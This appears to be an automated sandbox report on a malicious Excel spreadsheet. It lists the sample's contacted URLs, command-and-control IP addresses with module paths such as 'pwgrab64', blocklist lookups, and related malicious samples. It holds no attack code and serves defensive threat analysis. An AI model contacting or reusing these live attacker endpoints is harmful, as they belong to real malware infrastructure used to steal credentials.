38.52.17.84.dnsbl-1.uceprotect.net	unknown	unknown	false		unknown
www.chipmania.it	unknown	unknown	false	2%, Virustotal, Browse	unknown
38.52.17.84.b.barracudacentral.org	unknown	unknown	false		high
38.52.17.84.spam.dnsbl.sorbs.net	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.chipmania.it/mails/open.php	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.windows.com/pctv.	rundll32.exe, 00000009.00000002.2364431540.00000000007E0000.00000002.00000001.sdmp	false		high
http://investor.msn.com	rundll32.exe, 00000003.00000002.2101338428.0000000001B80000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2099089069.0000000001E10000.00000002.00000001.sdmp, wermgr.exe, 00000006.00000002.2370111419.0000000033B90000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2364431540.00000000007E0000.00000002.00000001.sdmp	false		high
http://www.msnbc.com/news/ticker.txt	rundll32.exe, 00000003.00000002.2101338428.0000000001B80000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2099089069.0000000001E10000.00000002.00000001.sdmp, wermgr.exe, 00000006.00000002.2370111419.0000000033B90000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2364431540.00000000007E0000.00000002.00000001.sdmp	false		high
http://crl.entrust.net/server1.crl0	wermgr.exe, 00000006.00000002.2364479573.000000000036D000.00000004.00000020.sdmp	false		high
https://ident.me/	wermgr.exe, 00000006.00000002.2364479573.000000000036D000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://cps.letsencrypt.org0	wermgr.exe, 00000006.00000003.2217176292.0000000033614000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://ocsp.entrust.net03	wermgr.exe, 00000006.00000002.2364479573.000000000036D000.00000004.00000020.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://crl.microsofv	wermgr.exe, 00000006.00000003.2218495867.0000000033613000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://193.8.194.96/rob60/134349_W617601.1D7953BB38B5711FB702EBB79BB8BAD5/14/NAT%20status/client%20	wermgr.exe, 00000006.00000002.2364479573.000000000036D000.00000004.00000020.sdmp, wermgr.exe, 00000006.00000002.2369616233.00000000335C0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	wermgr.exe, 00000006.00000002.2364479573.000000000036D000.00000004.00000020.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.diginotar.nl/cps/pkioverheid0	wermgr.exe, 00000006.00000002.2364479573.000000000036D000.00000004.00000020.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://r3.i.lencr.org/0;	wermgr.exe, 00000006.00000003.2217176292.0000000033614000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	rundll32.exe, 00000003.00000002.2101706813.0000000001D67000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2099318193.0000000001FF7000.00000002.00000001.sdmp, wermgr.exe, 00000006.00000002.2371380931.0000000033D77000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2364622522.00000000009C7000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.hotmail.com/oe	rundll32.exe, 00000003.00000002.2101338428.0000000001B80000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2099089069.0000000001E10000.00000002.00000001.sdmp, wermgr.exe, 00000006.00000002.2370111419.0000000033B90000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2364431540.00000000007E0000.00000002.00000001.sdmp	false		high
http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check	rundll32.exe, 00000003.00000002.2101706813.0000000001D67000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2099318193.0000000001FF7000.00000002.00000001.sdmp, wermgr.exe, 00000006.00000002.2371380931.0000000033D77000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2364622522.00000000009C7000.00000002.00000001.sdmp	false		high
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	wermgr.exe, 00000006.00000002.2364479573.000000000036D000.00000004.00000020.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.icra.org/vocabulary/.	rundll32.exe, 00000003.00000002.2101706813.0000000001D67000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2099318193.0000000001FF7000.00000002.00000001.sdmp, wermgr.exe, 00000006.00000002.2371380931.0000000033D77000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2364622522.00000000009C7000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.	wermgr.exe, 00000006.00000002.2369701585.00000000337A0000.00000002.00000001.sdmp, taskeng.exe, 00000008.00000002.2364456344.0000000000770000.00000002.00000001.sdmp	false		high
https://103.233.118.34:447/rob60/134349_W617601.1D7953BB38B5711FB702EBB79BB8BAD5/5/pwgrab64/	wermgr.exe, 00000006.00000002.2369616233.00000000335C0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://investor.msn.com/	rundll32.exe, 00000003.00000002.2101338428.0000000001B80000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2099089069.0000000001E10000.00000002.00000001.sdmp, wermgr.exe, 00000006.00000002.2370111419.0000000033B90000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2364431540.00000000007E0000.00000002.00000001.sdmp	false		high
https://103.220.47.220:447/rob60/134349_W617601.1D7953BB38B5711FB702EBB79BB8BAD5/5/pwgrab64/	wermgr.exe, 00000006.00000002.2364517634.00000000003D1000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://45.155.173.242/rob60/134349_W617601.1D7953BB38B5711FB702EBB79BB8BAD5/5/file/	wermgr.exe, 00000006.00000002.2364462409.000000000035A000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://r3.o.lencr.org0	wermgr.exe, 00000006.00000003.2217176292.0000000033614000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.%s.comPA	wermgr.exe, 00000006.00000002.2369701585.00000000337A0000.00000002.00000001.sdmp, taskeng.exe, 00000008.00000002.2364456344.0000000000770000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	low
http://ocsp.entrust.net0D	wermgr.exe, 00000006.00000002.2364479573.000000000036D000.00000004.00000020.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://secure.comodo.com/CPS0	wermgr.exe, 00000006.00000002.2364479573.000000000036D000.00000004.00000020.sdmp	false		high
http://servername/isapibackend.dll	wermgr.exe, 00000006.00000002.2372115954.0000000034180000.00000002.00000001.sdmp	false	Avira URL Cloud: safe	low
http://crl.entrust.net/2048ca.crl0	wermgr.exe, 00000006.00000002.2364479573.000000000036D000.00000004.00000020.sdmp	false		high
http://cps.root-x1.letsencrypt.org0	wermgr.exe, 00000006.00000003.2217176292.0000000033614000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
45.155.173.242	unknown	Germany	30823	COMBAHTONcombahtonGmbHDE	true
5.202.150.151	unknown	Iran (ISLAMIC Republic Of)	201150	DIDEHABNNETIR	true
185.81.0.78	unknown	Italy	52030	SERVERPLAN-ASIT	false
194.5.249.156	unknown	Romania	64398	NXTHOST-64398NXTHOSTCOM-NXTSERVERSSRLRO	false
193.8.194.96	unknown	United Kingdom	53340	FIBERHUBUS	true
103.220.47.220	unknown	Indonesia	59290	IDNIC-ALTRO-IDPTAltroAbiramaID	false
176.58.123.25	unknown	United Kingdom	63949	LINODE-APLinodeLLCUS	false

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	355634
Start date:	20.02.2021
Start time:	09:47:13
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	Sign-1870635479_637332644.xls
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winXLS@12/14@8/7
EGA Information:	Failed
HDC Information:	Successful, ratio: 10% (good quality ratio 7.7%) Quality average: 72% Quality standard deviation: 41%
HCA Information:	Failed
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xls Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe Excluded IPs from analysis (whitelisted): 67.26.73.254, 8.248.117.254, 67.27.158.254, 8.253.207.120, 67.26.137.254, 192.35.177.64 Excluded domains from analysis (whitelisted): audownload.windowsupdate.nsatc.net, apps.digsigtrust.com, ctldl.windowsupdate.com, auto.au.download.windowsupdate.com.c.footprint.net, au-bg-shim.trafficmanager.net, apps.identrust.com

Simulations

Behavior and APIs

Time	Type	Description
09:47:46	API Interceptor	1x Sleep call for process: rundll32.exe modified
09:47:46	API Interceptor	19x Sleep call for process: wermgr.exe modified
09:48:50	API Interceptor	454x Sleep call for process: taskeng.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
45.155.173.242	SecuriteInfo.com.Exploit.Siggen3.10350.14349.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.1476.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.1138.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.11266.xls	Get hash	malicious	Browse
	Sign-979329054_1327186231.xls	Get hash	malicious	Browse
	Sign-488964532_2104982999.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.22173.xls	Get hash	malicious	Browse
	Sign_77624265-298090224.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Exploit.Siggen3.10048.21670.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Exploit.Siggen3.10048.21085.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Exploit.Siggen3.10048.24657.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Exploit.Siggen3.10048.3997.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Exploit.Siggen3.10048.21627.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Exploit.Siggen3.10048.18578.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.31861.xls	Get hash	malicious	Browse
5.202.150.151	SecuriteInfo.com.Heur.13393.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Exploit.Siggen3.10048.21670.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Exploit.Siggen3.10048.24657.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Exploit.Siggen3.10048.14515.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Exploit.Siggen3.10048.29300.xls	Get hash	malicious	Browse
	att-1664057138.xls	Get hash	malicious	Browse
	WZJIuy3UYm.exe	Get hash	malicious	Browse
185.81.0.78	SecuriteInfo.com.Exploit.Siggen3.10350.14349.xls	Get hash	malicious	Browse	www.chipmania.it/mails/open.php
	SecuriteInfo.com.Exploit.Siggen3.10350.13127.xls	Get hash	malicious	Browse	www.chipmania.it/mails/open.php
	SecuriteInfo.com.Exploit.Siggen3.10350.857.xls	Get hash	malicious	Browse	www.chipmania.it/mails/open.php
	SecuriteInfo.com.Exploit.Siggen3.10350.12632.xls	Get hash	malicious	Browse	www.chipmania.it/mails/open.php
	SecuriteInfo.com.Exploit.Siggen3.10350.20211.xls	Get hash	malicious	Browse	www.chipmania.it/mails/open.php
	SecuriteInfo.com.Exploit.Siggen3.10350.27303.xls	Get hash	malicious	Browse	www.chipmania.it/mails/open.php
	SecuriteInfo.com.Exploit.Siggen3.10350.24644.xls	Get hash	malicious	Browse	www.chipmania.it/mails/open.php
	SecuriteInfo.com.Exploit.Siggen3.10350.15803.xls	Get hash	malicious	Browse	www.chipmania.it/mails/open.php
	SecuriteInfo.com.Exploit.Siggen3.10350.27303.xls	Get hash	malicious	Browse	www.chipmania.it/mails/open.php
	SecuriteInfo.com.Exploit.Siggen3.10350.26515.xls	Get hash	malicious	Browse	www.chipmania.it/mails/open.php
	SecuriteInfo.com.Exploit.Siggen3.10350.31033.xls	Get hash	malicious	Browse	www.chipmania.it/mails/open.php
	SecuriteInfo.com.Heur.1476.xls	Get hash	malicious	Browse	www.chipmania.it/mails/open.php
	SecuriteInfo.com.Heur.1181.xls	Get hash	malicious	Browse	www.chipmania.it/mails/open.php
	SecuriteInfo.com.Heur.21235.xls	Get hash	malicious	Browse	www.chipmania.it/mails/open.php
	SecuriteInfo.com.Heur.15875.xls	Get hash	malicious	Browse	www.chipmania.it/mails/open.php
	SecuriteInfo.com.Heur.21759.xls	Get hash	malicious	Browse	www.chipmania.it/mails/open.php
	SecuriteInfo.com.Heur.2804.xls	Get hash	malicious	Browse	www.chipmania.it/mails/open.php
	SecuriteInfo.com.Heur.1138.xls	Get hash	malicious	Browse	www.chipmania.it/mails/open.php
	SecuriteInfo.com.Heur.11266.xls	Get hash	malicious	Browse	www.chipmania.it/mails/open.php
	SecuriteInfo.com.Heur.18554.xls	Get hash	malicious	Browse	www.chipmania.it/mails/open.php
194.5.249.156	SecuriteInfo.com.Exploit.Siggen3.10350.14349.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Exploit.Siggen3.10350.857.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Exploit.Siggen3.10350.15803.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.1181.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.21235.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.15875.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.18554.xls	Get hash	malicious	Browse
	Sign-979329054_1327186231.xls	Get hash	malicious	Browse
	Sign-488964532_2104982999.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.22173.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.28224.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.7735.xls	Get hash	malicious	Browse
	Sign_1136845514-2138034493.xls	Get hash	malicious	Browse
	Sign_1229872171-1113140666(1).xls	Get hash	malicious	Browse
	SecuriteInfo.com.Exploit.Siggen3.10048.21670.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Exploit.Siggen3.10048.926.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Exploit.Siggen3.10048.29300.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Exploit.Siggen3.10048.21627.xls	Get hash	malicious	Browse
	index_2021-02-17-11_45.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Exploit.Siggen3.10048.18578.xls	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ident.me	SecuriteInfo.com.Exploit.Siggen3.10350.14349.xls	Get hash	malicious	Browse	176.58.123.25
	SecuriteInfo.com.Exploit.Siggen3.10350.26515.xls	Get hash	malicious	Browse	176.58.123.25
	SecuriteInfo.com.Heur.1476.xls	Get hash	malicious	Browse	176.58.123.25
	Sign-92793351_1597657581.xls	Get hash	malicious	Browse	176.58.123.25
	SecuriteInfo.com.Heur.22173.xls	Get hash	malicious	Browse	176.58.123.25
	Sign_1229872171-1113140666(1).xls	Get hash	malicious	Browse	176.58.123.25
	SecuriteInfo.com.Exploit.Siggen3.10048.24657.xls	Get hash	malicious	Browse	176.58.123.25
	SecuriteInfo.com.Exploit.Siggen3.10048.15397.xls	Get hash	malicious	Browse	176.58.123.25
	SecuriteInfo.com.Exploit.Siggen3.10048.21627.xls	Get hash	malicious	Browse	176.58.123.25
	index_2021-02-17-11_45.dll	Get hash	malicious	Browse	176.58.123.25
	SecuriteInfo.com.Exploit.Siggen3.10048.426.xls	Get hash	malicious	Browse	176.58.123.25
	SecuriteInfo.com.Heur.31861.xls	Get hash	malicious	Browse	176.58.123.25
	SecuriteInfo.com.Exploit.Siggen3.9634.31858.xls	Get hash	malicious	Browse	176.58.123.25
	0zwHgf4MZ6.exe	Get hash	malicious	Browse	176.58.123.25
	Rf1jy0FVcu.exe	Get hash	malicious	Browse	176.58.123.25
	RJVPg3z2Pu.exe	Get hash	malicious	Browse	176.58.123.25
	qy2ha7YNc2.exe	Get hash	malicious	Browse	176.58.123.25
	HfgoPFBORt.exe	Get hash	malicious	Browse	176.58.123.25
	PugSOXI5Eu.exe	Get hash	malicious	Browse	176.58.123.25
	WR7fzVlV34.exe	Get hash	malicious	Browse	176.58.123.25

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
NXTHOST-64398NXTHOSTCOM-NXTSERVERSSRLRO	SecuriteInfo.com.Exploit.Siggen3.10350.14349.xls	Get hash	malicious	Browse	194.5.249.156
	SecuriteInfo.com.Exploit.Siggen3.10350.857.xls	Get hash	malicious	Browse	194.5.249.156
	SecuriteInfo.com.Exploit.Siggen3.10350.15803.xls	Get hash	malicious	Browse	194.5.249.156
	SecuriteInfo.com.Heur.1181.xls	Get hash	malicious	Browse	194.5.249.156
	SecuriteInfo.com.Heur.21235.xls	Get hash	malicious	Browse	194.5.249.156
	SecuriteInfo.com.Heur.15875.xls	Get hash	malicious	Browse	194.5.249.156
	SecuriteInfo.com.Heur.18554.xls	Get hash	malicious	Browse	194.5.249.156
	Sign-979329054_1327186231.xls	Get hash	malicious	Browse	194.5.249.156
	Sign-488964532_2104982999.xls	Get hash	malicious	Browse	194.5.249.156
	nazi.exe	Get hash	malicious	Browse	194.5.249.24
	SecuriteInfo.com.Heur.22173.xls	Get hash	malicious	Browse	194.5.249.156
	SecuriteInfo.com.Heur.28224.xls	Get hash	malicious	Browse	194.5.249.156
	SecuriteInfo.com.Heur.7735.xls	Get hash	malicious	Browse	194.5.249.156
	Sign_1136845514-2138034493.xls	Get hash	malicious	Browse	194.5.249.156
	Sign_1229872171-1113140666(1).xls	Get hash	malicious	Browse	194.5.249.156
	SecuriteInfo.com.Exploit.Siggen3.10048.21670.xls	Get hash	malicious	Browse	194.5.249.156
	SecuriteInfo.com.Exploit.Siggen3.10048.926.xls	Get hash	malicious	Browse	194.5.249.156
	SecuriteInfo.com.Exploit.Siggen3.10048.29300.xls	Get hash	malicious	Browse	194.5.249.156
	SecuriteInfo.com.Exploit.Siggen3.10048.21627.xls	Get hash	malicious	Browse	194.5.249.156
	index_2021-02-17-11_45.dll	Get hash	malicious	Browse	194.5.249.156
COMBAHTONcombahtonGmbHDE	SecuriteInfo.com.Exploit.Siggen3.10350.14349.xls	Get hash	malicious	Browse	45.155.173.242
	SecuriteInfo.com.Heur.1476.xls	Get hash	malicious	Browse	45.155.173.242
	SecuriteInfo.com.Heur.1138.xls	Get hash	malicious	Browse	45.155.173.242
	SecuriteInfo.com.Heur.11266.xls	Get hash	malicious	Browse	45.155.173.242
	Sign-979329054_1327186231.xls	Get hash	malicious	Browse	45.155.173.242
	Sign-488964532_2104982999.xls	Get hash	malicious	Browse	45.155.173.242
	kAZyIwSSsf.exe	Get hash	malicious	Browse	185.234.72.84
	nazi.exe	Get hash	malicious	Browse	212.114.52.24
	SecuriteInfo.com.Heur.22173.xls	Get hash	malicious	Browse	45.155.173.242
	Sign_77624265-298090224.xls	Get hash	malicious	Browse	45.155.173.242
	SecuriteInfo.com.Exploit.Siggen3.10048.21670.xls	Get hash	malicious	Browse	45.155.173.242
	SecuriteInfo.com.Exploit.Siggen3.10048.21085.xls	Get hash	malicious	Browse	45.155.173.242
	SecuriteInfo.com.Exploit.Siggen3.10048.24657.xls	Get hash	malicious	Browse	45.155.173.242
	SecuriteInfo.com.Exploit.Siggen3.10089.3000.xls	Get hash	malicious	Browse	185.234.72.84
	SecuriteInfo.com.Exploit.Siggen3.10048.3997.xls	Get hash	malicious	Browse	45.155.173.242
	SecuriteInfo.com.Exploit.Siggen3.10048.21627.xls	Get hash	malicious	Browse	45.155.173.242
	DocuSign_1618411389_250497852.xls	Get hash	malicious	Browse	185.234.72.84
	DocuSign_139380140_1184163298.xls	Get hash	malicious	Browse	185.234.72.84
	SecuriteInfo.com.Exploit.Siggen3.10048.18578.xls	Get hash	malicious	Browse	45.155.173.242
	Quote RF-E79-STD-2021-087.xlsx	Get hash	malicious	Browse	45.147.230.34
DIDEHABNNETIR	SecuriteInfo.com.Heur.13393.xls	Get hash	malicious	Browse	5.202.150.151
	SecuriteInfo.com.Exploit.Siggen3.10048.21670.xls	Get hash	malicious	Browse	5.202.150.151
	SecuriteInfo.com.Exploit.Siggen3.10048.24657.xls	Get hash	malicious	Browse	5.202.150.151
	SecuriteInfo.com.Exploit.Siggen3.10048.14515.xls	Get hash	malicious	Browse	5.202.150.151
	SecuriteInfo.com.Exploit.Siggen3.10048.29300.xls	Get hash	malicious	Browse	5.202.150.151
	att-1664057138.xls	Get hash	malicious	Browse	5.202.150.151
	6anfy8I0II.exe	Get hash	malicious	Browse	5.202.120.150
	ieO61Pwnmq.exe	Get hash	malicious	Browse	5.202.120.150
	SecuriteInfo.com.Exploit.Siggen3.9634.13595.xls	Get hash	malicious	Browse	5.202.120.150
	WZJIuy3UYm.exe	Get hash	malicious	Browse	5.202.150.151
SERVERPLAN-ASIT	SecuriteInfo.com.Exploit.Siggen3.10350.14349.xls	Get hash	malicious	Browse	185.81.0.78
	SecuriteInfo.com.Exploit.Siggen3.10350.13127.xls	Get hash	malicious	Browse	185.81.0.78
	SecuriteInfo.com.Exploit.Siggen3.10350.857.xls	Get hash	malicious	Browse	185.81.0.78
	SecuriteInfo.com.Exploit.Siggen3.10350.12632.xls	Get hash	malicious	Browse	185.81.0.78
	SecuriteInfo.com.Exploit.Siggen3.10350.20211.xls	Get hash	malicious	Browse	185.81.0.78
	SecuriteInfo.com.Exploit.Siggen3.10350.27303.xls	Get hash	malicious	Browse	185.81.0.78
	SecuriteInfo.com.Exploit.Siggen3.10350.24644.xls	Get hash	malicious	Browse	185.81.0.78
	SecuriteInfo.com.Exploit.Siggen3.10350.15803.xls	Get hash	malicious	Browse	185.81.0.78
	SecuriteInfo.com.Exploit.Siggen3.10350.27303.xls	Get hash	malicious	Browse	185.81.0.78
	SecuriteInfo.com.Exploit.Siggen3.10350.26515.xls	Get hash	malicious	Browse	185.81.0.78
	SecuriteInfo.com.Exploit.Siggen3.10350.31033.xls	Get hash	malicious	Browse	185.81.0.78
	SecuriteInfo.com.Heur.1476.xls	Get hash	malicious	Browse	185.81.0.78
	SecuriteInfo.com.Heur.1181.xls	Get hash	malicious	Browse	185.81.0.78
	SecuriteInfo.com.Heur.21235.xls	Get hash	malicious	Browse	185.81.0.78
	SecuriteInfo.com.Heur.15875.xls	Get hash	malicious	Browse	185.81.0.78
	SecuriteInfo.com.Heur.21759.xls	Get hash	malicious	Browse	185.81.0.78
	SecuriteInfo.com.Heur.2804.xls	Get hash	malicious	Browse	185.81.0.78
	SecuriteInfo.com.Heur.1138.xls	Get hash	malicious	Browse	185.81.0.78
	SecuriteInfo.com.Heur.11266.xls	Get hash	malicious	Browse	185.81.0.78
	SecuriteInfo.com.Heur.18554.xls	Get hash	malicious	Browse	185.81.0.78

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
05af1f5ca1b87cc9cc9b25185115607d	SecuriteInfo.com.Exploit.Siggen3.10350.26515.xls	Get hash	malicious	Browse	176.58.123.25
	SecuriteInfo.com.Heur.1476.xls	Get hash	malicious	Browse	176.58.123.25
	SecuriteInfo.com.Heur.11266.xls	Get hash	malicious	Browse	176.58.123.25
	Sign-92793351_1597657581.xls	Get hash	malicious	Browse	176.58.123.25
	AWB783079370872.docm	Get hash	malicious	Browse	176.58.123.25
	document-750895311.xls	Get hash	malicious	Browse	176.58.123.25
	SecuriteInfo.com.Heur.22173.xls	Get hash	malicious	Browse	176.58.123.25
	SecuriteInfo.com.Exploit.Siggen3.10048.21085.xls	Get hash	malicious	Browse	176.58.123.25
	SecuriteInfo.com.Exploit.Siggen3.10048.24657.xls	Get hash	malicious	Browse	176.58.123.25
	SecuriteInfo.com.Exploit.Siggen3.10048.15397.xls	Get hash	malicious	Browse	176.58.123.25
	SecuriteInfo.com.Exploit.Siggen3.10048.29300.xls	Get hash	malicious	Browse	176.58.123.25
	DocuSign_167.xls	Get hash	malicious	Browse	176.58.123.25
	DocuSign_139380140_1184163298.xls	Get hash	malicious	Browse	176.58.123.25
	index_2021-02-17-11_45.dll	Get hash	malicious	Browse	176.58.123.25
	PO.xls	Get hash	malicious	Browse	176.58.123.25
	JF0qFPqOqZ.docx	Get hash	malicious	Browse	176.58.123.25
	SecuriteInfo.com.Exploit.Siggen3.10048.426.xls	Get hash	malicious	Browse	176.58.123.25
	Quotes.xlsm	Get hash	malicious	Browse	176.58.123.25
	IMG_51067.doc__.rtf	Get hash	malicious	Browse	176.58.123.25
	Request for Quotation76584454.ppt	Get hash	malicious	Browse	176.58.123.25
8c4a22651d328568ec66382a84fc505f	SecuriteInfo.com.Exploit.Siggen3.10350.14349.xls	Get hash	malicious	Browse	45.155.173.242 193.8.194.96
	SecuriteInfo.com.Exploit.Siggen3.10350.13127.xls	Get hash	malicious	Browse	45.155.173.242 193.8.194.96
	SecuriteInfo.com.Exploit.Siggen3.10350.857.xls	Get hash	malicious	Browse	45.155.173.242 193.8.194.96
	SecuriteInfo.com.Exploit.Siggen3.10350.24644.xls	Get hash	malicious	Browse	45.155.173.242 193.8.194.96
	SecuriteInfo.com.Exploit.Siggen3.10350.15803.xls	Get hash	malicious	Browse	45.155.173.242 193.8.194.96
	SecuriteInfo.com.Exploit.Siggen3.10350.26515.xls	Get hash	malicious	Browse	45.155.173.242 193.8.194.96
	SecuriteInfo.com.Heur.1476.xls	Get hash	malicious	Browse	45.155.173.242 193.8.194.96
	SecuriteInfo.com.Heur.15875.xls	Get hash	malicious	Browse	45.155.173.242 193.8.194.96
	SecuriteInfo.com.Heur.21759.xls	Get hash	malicious	Browse	45.155.173.242 193.8.194.96
	SecuriteInfo.com.Heur.2804.xls	Get hash	malicious	Browse	45.155.173.242 193.8.194.96
	SecuriteInfo.com.Heur.1138.xls	Get hash	malicious	Browse	45.155.173.242 193.8.194.96
	SecuriteInfo.com.Heur.11266.xls	Get hash	malicious	Browse	45.155.173.242 193.8.194.96
	SecuriteInfo.com.Heur.18554.xls	Get hash	malicious	Browse	45.155.173.242 193.8.194.96
	Sign-636.xls	Get hash	malicious	Browse	45.155.173.242 193.8.194.96
	Sign-92793351_1597657581.xls	Get hash	malicious	Browse	45.155.173.242 193.8.194.96
	Sign-979329054_1327186231.xls	Get hash	malicious	Browse	45.155.173.242 193.8.194.96
	Sign-707465831_1420670581.xls	Get hash	malicious	Browse	45.155.173.242 193.8.194.96
	SecuriteInfo.com.Heur.22173.xls	Get hash	malicious	Browse	45.155.173.242 193.8.194.96
	SecuriteInfo.com.Heur.11712.xls	Get hash	malicious	Browse	45.155.173.242 193.8.194.96
	SecuriteInfo.com.Heur.28224.xls	Get hash	malicious	Browse	45.155.173.242 193.8.194.96

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\10[1].jjkes	SecuriteInfo.com.Exploit.Siggen3.10350.14349.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Exploit.Siggen3.10350.13127.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Exploit.Siggen3.10350.857.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Exploit.Siggen3.10350.12632.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Exploit.Siggen3.10350.20211.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Exploit.Siggen3.10350.27303.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Exploit.Siggen3.10350.24644.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Exploit.Siggen3.10350.15803.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Exploit.Siggen3.10350.26515.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Exploit.Siggen3.10350.31033.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.1476.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.1181.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.21235.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.15875.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.21759.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.2804.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.1138.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.11266.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.18554.xls	Get hash	malicious	Browse
	Sign-636.xls	Get hash	malicious	Browse
